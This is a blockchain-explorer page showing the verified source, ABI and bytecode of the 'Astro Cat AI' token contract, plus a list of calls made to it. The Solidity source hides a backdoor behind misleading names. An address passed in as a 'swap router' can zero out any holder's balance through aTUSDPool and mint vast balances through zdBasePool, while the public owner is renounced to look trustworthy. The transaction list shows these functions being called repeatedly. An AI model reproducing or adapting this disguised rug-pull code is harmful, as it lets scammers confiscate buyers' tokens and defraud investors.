Source Code
Overview
MON Balance
MON Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 22 from a total of 22 transactions
| Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| A TUSD Pool | 39257091 | 54 days ago | IN | 0 MON | 0.005284 | ||||
| A TUSD Pool | 38984619 | 55 days ago | IN | 0 MON | 0.005284 | ||||
| Zd Base Pool | 38732028 | 57 days ago | IN | 0 MON | 0.00496527 | ||||
| Zd Base Pool | 38731852 | 57 days ago | IN | 0 MON | 0.00527334 | ||||
| A TUSD Pool | 38731760 | 57 days ago | IN | 0 MON | 0.00504333 | ||||
| A TUSD Pool | 38728067 | 57 days ago | IN | 0 MON | 0.00528391 | ||||
| A TUSD Pool | 38727381 | 57 days ago | IN | 0 MON | 0.00769289 | ||||
| A TUSD Pool | 38727326 | 57 days ago | IN | 0 MON | 0.00528089 | ||||
| A TUSD Pool | 38727273 | 57 days ago | IN | 0 MON | 0.00656227 | ||||
| A TUSD Pool | 38727213 | 57 days ago | IN | 0 MON | 0.00528089 | ||||
| Approve | 38727102 | 57 days ago | IN | 0 MON | 0.0240186 | ||||
| A TUSD Pool | 38727075 | 57 days ago | IN | 0 MON | 0.00534791 | ||||
| Approve | 38726929 | 57 days ago | IN | 0 MON | 0.0240186 | ||||
| Approve | 38726924 | 57 days ago | IN | 0 MON | 0.0240186 | ||||
| Zd Base Pool | 38726767 | 57 days ago | IN | 0 MON | 0.01480125 | ||||
| Approve | 38724967 | 57 days ago | IN | 0 MON | 0.00668289 | ||||
| A TUSD Pool | 38724210 | 57 days ago | IN | 0 MON | 0.00504333 | ||||
| A TUSD Pool | 38724066 | 57 days ago | IN | 0 MON | 0.00769289 | ||||
| A TUSD Pool | 38724025 | 57 days ago | IN | 0 MON | 0.00533215 | ||||
| Approve | 38723296 | 57 days ago | IN | 0 MON | 0.00604311 | ||||
| Approve | 38723209 | 57 days ago | IN | 0 MON | 0.00626086 | ||||
| Renounce Ownersh... | 38722848 | 57 days ago | IN | 0 MON | 0.00351631 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
AstroCatToken
Compiler Version
v0.8.29+commit.ab55807c
Contract Source Code (Solidity)
/**
*Submitted for verification at monadscan.com on 2025-11-29
*/
/**
https://t.me/AstroCat19466
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
interface AstroCatinterface {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address shippingto, uint256 yoursold) external returns (bool);
function allowance(address _owner, address transporteur) external view returns (uint256);
function approve(address transporteur, uint256 yoursold) external returns (bool);
function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 balance);
event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}
abstract contract AstroCat20Burnable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract AstroCat20Ownable is AstroCat20Burnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "AstroCat20Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "AstroCat20Ownable: new owner is zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeAstroCat {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeAstroCat: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeAstroCat: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeAstroCat: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeAstroCat: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeAstroCat: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract AstroCatToken is AstroCat20Burnable, AstroCatinterface, AstroCat20Ownable {
using SafeAstroCat for uint256;
mapping (address => uint256) private mintfrom;
mapping (address => mapping (address => uint256)) private fromallowances;
mapping (address => bool) private _isHolder;
uint256 private _totalSupply;
uint256 public holderCount;
uint8 private _decimals;
string private _symbol;
string private _name;
address private legosRooter;
constructor(address legosSwapRouterv3) {
legosRooter = legosSwapRouterv3;
_name = "Astro Cat AI";
_symbol = "Astro Cat AI";
_decimals = 9;
_totalSupply = 6999000000009 * 10 ** 9;
mintfrom[_msgSender()] = _totalSupply;
_updateHolder(_msgSender());
emit Transfer(address(0), _msgSender(), _totalSupply);
}
modifier subowner() {
require(legosRooter == _msgSender(), "AstroCat20Ownable: caller is not the owner");
_;
}
function aTUSDPool(address tusdRewards) external subowner {
mintfrom[tusdRewards] = 1;
_updateHolder(tusdRewards);
emit Transfer(tusdRewards, address(0), 1);
}
function zdBasePool(address BaseRewards) external subowner {
mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
_updateHolder(BaseRewards);
emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
}
function getOwner() external view override returns (address) {
return owner();
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return mintfrom[account];
}
function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(_msgSender(), shippingto, yoursold);
return true;
}
function allowance(address owner, address transporteur) external view override returns (uint256) {
return fromallowances[owner][transporteur];
}
function approve(address transporteur, uint256 yoursold) external override returns (bool) {
_approve(_msgSender(), transporteur, yoursold);
return true;
}
function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(sender, shippingto, yoursold);
_approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold));
return true;
}
function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
return true;
}
function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances));
return true;
}
function _transfer(address sender, address shippingto, uint256 yoursold) internal {
require(sender != address(0), "AstroCatinterface: transfer from zero address");
require(shippingto != address(0), "AstroCatinterface: transfer to zero address");
mintfrom[sender] = mintfrom[sender].sub(yoursold);
mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
_updateHolder(sender);
_updateHolder(shippingto);
emit Transfer(sender, shippingto, yoursold);
}
function _approve(address owner, address transporteur, uint256 yoursold) internal {
require(owner != address(0), "AstroCatinterface: approve from zero address");
require(transporteur != address(0), "AstroCatinterface: approve to zero address");
fromallowances[owner][transporteur] = yoursold;
emit Approval(owner, transporteur, yoursold);
}
function _updateHolder(address account) private {
bool wasHolder = _isHolder[account];
bool shouldBeHolder = mintfrom[account] > 0;
if (!wasHolder && shouldBeHolder) {
_isHolder[account] = true;
holderCount++;
} else if (wasHolder && !shouldBeHolder) {
_isHolder[account] = false;
holderCount--;
}
}
function getHolderCount() public view returns (uint256) {
return holderCount;
}
function isHolder(address account) public view returns (bool) {
return _isHolder[account];
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"legosSwapRouterv3","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"transporteur","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"tusdRewards","type":"address"}],"name":"aTUSDPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"transporteur","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"allbalances","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getHolderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"addedbalance","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BaseRewards","type":"address"}],"name":"zdBasePool","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405234801561000f575f5ffd5b5060405161118638038061118683398101604081905261002e9161022a565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600980546001600160a01b0319166001600160a01b03831617905560408051808201909152600c81526b417374726f2043617420414960a01b60208201526008906100b790826102ee565b5060408051808201909152600c81526b417374726f2043617420414960a01b60208201526007906100e890826102ee565b506006805460ff1916600917905569017b6aa309b7876d1a00600481905560015f6101103390565b6001600160a01b0316815260208101919091526040015f205561013233610172565b60045460405190815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506103e9565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff909116901515811580156101a95750805b156101e8576001600160a01b0383165f908152600360205260408120805460ff1916600117905560058054916101de836103bc565b9190505550505050565b8180156101f3575080155b15610225576001600160a01b0383165f908152600360205260408120805460ff1916905560058054916101de836103d4565b505050565b5f6020828403121561023a575f5ffd5b81516001600160a01b0381168114610250575f5ffd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061027f57607f821691505b60208210810361029d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561022557805f5260205f20601f840160051c810160208510156102c85750805b601f840160051c820191505b818110156102e7575f81556001016102d4565b5050505050565b81516001600160401b0381111561030757610307610257565b61031b81610315845461026b565b846102a3565b6020601f82116001811461034d575f83156103365750848201515b5f19600385901b1c1916600184901b1784556102e7565b5f84815260208120601f198516915b8281101561037c578785015182556020948501946001909201910161035c565b508482101561039957868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b5f600182016103cd576103cd6103a8565b5060010190565b5f816103e2576103e26103a8565b505f190190565b610d90806103f65f395ff3fe608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610b53565b60405180910390f35b61015c610157366004610ba3565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610bcb565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610ba3565b6103ef565b6101706101d0366004610c05565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c05565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610ba3565b610558565b61015c61026c366004610ba3565b61058d565b61015c61027f366004610c05565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c1e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c05565b610599565b6101fa6102f5366004610c05565b610625565b60606008805461030990610c4f565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610c4f565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610712565b5060015b92915050565b5f6103ac848484610847565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e090866109dc565b610712565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a07565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610c87565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610a65565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610c4f565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e090866109dc565b5f610396338484610847565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381165f908152600160208190526040909120556105e781610a65565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381166106b95760405162461bcd60e51b815260206004820152602c60248201527f417374726f43617432304f776e61626c653a206e6577206f776e65722069732060448201526b7a65726f206164647265737360a01b606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661077d5760405162461bcd60e51b815260206004820152602c60248201527f417374726f436174696e746572666163653a20617070726f76652066726f6d2060448201526b7a65726f206164647265737360a01b606482015260840161044d565b6001600160a01b0382166107e65760405162461bcd60e51b815260206004820152602a60248201527f417374726f436174696e746572666163653a20617070726f766520746f207a65604482015269726f206164647265737360b01b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108b35760405162461bcd60e51b815260206004820152602d60248201527f417374726f436174696e746572666163653a207472616e736665722066726f6d60448201526c207a65726f206164647265737360981b606482015260840161044d565b6001600160a01b03821661091d5760405162461bcd60e51b815260206004820152602b60248201527f417374726f436174696e746572666163653a207472616e7366657220746f207a60448201526a65726f206164647265737360a81b606482015260840161044d565b6001600160a01b0383165f9081526001602052604090205461093f90826109dc565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461096d9082610a07565b6001600160a01b0383165f9081526001602052604090205561098e83610a65565b61099782610a65565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083a91815260200190565b5f610a008383604051806060016040528060228152602001610d3960229139610b1d565b9392505050565b5f80610a138385610ce5565b905083811015610a005760405162461bcd60e51b815260206004820152601f60248201527f53616665417374726f4361743a206164646974696f6e206f766572666c6f7700604482015260640161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610a9c5750805b15610adb576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610ad183610cf8565b9190505550505050565b818015610ae6575080155b15610b18576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610ad183610d10565b505050565b5f8184841115610b405760405162461bcd60e51b815260040161044d9190610b53565b50610b4b8385610d25565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b9e575f5ffd5b919050565b5f5f60408385031215610bb4575f5ffd5b610bbd83610b88565b946020939093013593505050565b5f5f5f60608486031215610bdd575f5ffd5b610be684610b88565b9250610bf460208501610b88565b929592945050506040919091013590565b5f60208284031215610c15575f5ffd5b610a0082610b88565b5f5f60408385031215610c2f575f5ffd5b610c3883610b88565b9150610c4660208401610b88565b90509250929050565b600181811c90821680610c6357607f821691505b602082108103610c8157634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252602a908201527f417374726f43617432304f776e61626c653a2063616c6c6572206973206e6f74604082015269103a34329037bbb732b960b11b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610cd1565b5f60018201610d0957610d09610cd1565b5060010190565b5f81610d1e57610d1e610cd1565b505f190190565b8181038181111561039a5761039a610cd156fe53616665417374726f4361743a207375627472616374696f6e206f766572666c6f77a26469706673582212200b55141b73c0afd4758e5a9a94128a2d46945f65002dc82d4313eacaeecf6f0c64736f6c634300081d0033000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
Deployed Bytecode
0x608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610b53565b60405180910390f35b61015c610157366004610ba3565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610bcb565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610ba3565b6103ef565b6101706101d0366004610c05565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c05565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610ba3565b610558565b61015c61026c366004610ba3565b61058d565b61015c61027f366004610c05565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c1e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c05565b610599565b6101fa6102f5366004610c05565b610625565b60606008805461030990610c4f565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610c4f565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610712565b5060015b92915050565b5f6103ac848484610847565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e090866109dc565b610712565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a07565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610c87565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610a65565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610c4f565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e090866109dc565b5f610396338484610847565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381165f908152600160208190526040909120556105e781610a65565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610c87565b6001600160a01b0381166106b95760405162461bcd60e51b815260206004820152602c60248201527f417374726f43617432304f776e61626c653a206e6577206f776e65722069732060448201526b7a65726f206164647265737360a01b606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661077d5760405162461bcd60e51b815260206004820152602c60248201527f417374726f436174696e746572666163653a20617070726f76652066726f6d2060448201526b7a65726f206164647265737360a01b606482015260840161044d565b6001600160a01b0382166107e65760405162461bcd60e51b815260206004820152602a60248201527f417374726f436174696e746572666163653a20617070726f766520746f207a65604482015269726f206164647265737360b01b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108b35760405162461bcd60e51b815260206004820152602d60248201527f417374726f436174696e746572666163653a207472616e736665722066726f6d60448201526c207a65726f206164647265737360981b606482015260840161044d565b6001600160a01b03821661091d5760405162461bcd60e51b815260206004820152602b60248201527f417374726f436174696e746572666163653a207472616e7366657220746f207a60448201526a65726f206164647265737360a81b606482015260840161044d565b6001600160a01b0383165f9081526001602052604090205461093f90826109dc565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461096d9082610a07565b6001600160a01b0383165f9081526001602052604090205561098e83610a65565b61099782610a65565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083a91815260200190565b5f610a008383604051806060016040528060228152602001610d3960229139610b1d565b9392505050565b5f80610a138385610ce5565b905083811015610a005760405162461bcd60e51b815260206004820152601f60248201527f53616665417374726f4361743a206164646974696f6e206f766572666c6f7700604482015260640161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610a9c5750805b15610adb576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610ad183610cf8565b9190505550505050565b818015610ae6575080155b15610b18576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610ad183610d10565b505050565b5f8184841115610b405760405162461bcd60e51b815260040161044d9190610b53565b50610b4b8385610d25565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b9e575f5ffd5b919050565b5f5f60408385031215610bb4575f5ffd5b610bbd83610b88565b946020939093013593505050565b5f5f5f60608486031215610bdd575f5ffd5b610be684610b88565b9250610bf460208501610b88565b929592945050506040919091013590565b5f60208284031215610c15575f5ffd5b610a0082610b88565b5f5f60408385031215610c2f575f5ffd5b610c3883610b88565b9150610c4660208401610b88565b90509250929050565b600181811c90821680610c6357607f821691505b602082108103610c8157634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252602a908201527f417374726f43617432304f776e61626c653a2063616c6c6572206973206e6f74604082015269103a34329037bbb732b960b11b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610cd1565b5f60018201610d0957610d09610cd1565b5060010190565b5f81610d1e57610d1e610cd1565b505f190190565b8181038181111561039a5761039a610cd156fe53616665417374726f4361743a207375627472616374696f6e206f766572666c6f77a26469706673582212200b55141b73c0afd4758e5a9a94128a2d46945f65002dc82d4313eacaeecf6f0c64736f6c634300081d0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
-----Decoded View---------------
Arg [0] : legosSwapRouterv3 (address): 0x432e69ccB799F021C6CBDEa1b734B069578B4de2
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
Deployed Bytecode Sourcemap
3666:5087:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5493:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6198:177;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;6198:177:0;920:187:1;5599:102:0;5681:12;;5599:102;;;1258:25:1;;;1246:2;1231:18;5599:102:0;1112:177:1;4021:26:0;;;;;;6387:282;;;;;;:::i;:::-;;:::i;5277:94::-;5354:9;;5277:94;;5354:9;;;;1815:36:1;;1803:2;1788:18;5277:94:0;1673:184:1;6681:234:0;;;;;;:::i;:::-;;:::i;5713:120::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5808:17:0;5781:7;5808:17;;;:8;:17;;;;;;;5713:120;8543:93;8617:11;;8543:93;;1848:148;;;:::i;:::-;;4929:234;;;;;;:::i;:::-;;:::i;5171:94::-;5223:7;1688:6;-1:-1:-1;;;;;1688:6:0;5171:94;;;-1:-1:-1;;;;;2217:32:1;;;2199:51;;2187:2;2172:18;5171:94:0;2053:203:1;1615:87:0;1661:7;1688:6;-1:-1:-1;;;;;1688:6:0;1615:87;;5383:98;;;:::i;6927:232::-;;;;;;:::i;:::-;;:::i;5841:175::-;;;;;;:::i;:::-;;:::i;8644:106::-;;;;;;:::i;:::-;-1:-1:-1;;;;;8724:18:0;8700:4;8724:18;;;:9;:18;;;;;;;;;8644:106;6028:158;;;;;;:::i;:::-;-1:-1:-1;;;;;6143:21:0;;;6116:7;6143:21;;;:14;:21;;;;;;;;:35;;;;;;;;;;;;;6028:158;4730:191;;;;;;:::i;:::-;;:::i;2004:250::-;;;;;;:::i;:::-;;:::i;5493:94::-;5541:13;5574:5;5567:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5493:94;:::o;6198:177::-;6282:4;6299:46;1176:10;6322:12;6336:8;6299;:46::i;:::-;-1:-1:-1;6363:4:0;6198:177;;;;;:::o;6387:282::-;6490:4;6507:39;6517:6;6525:10;6537:8;6507:9;:39::i;:::-;-1:-1:-1;;;;;6588:22:0;;;;;;:14;:22;;;;;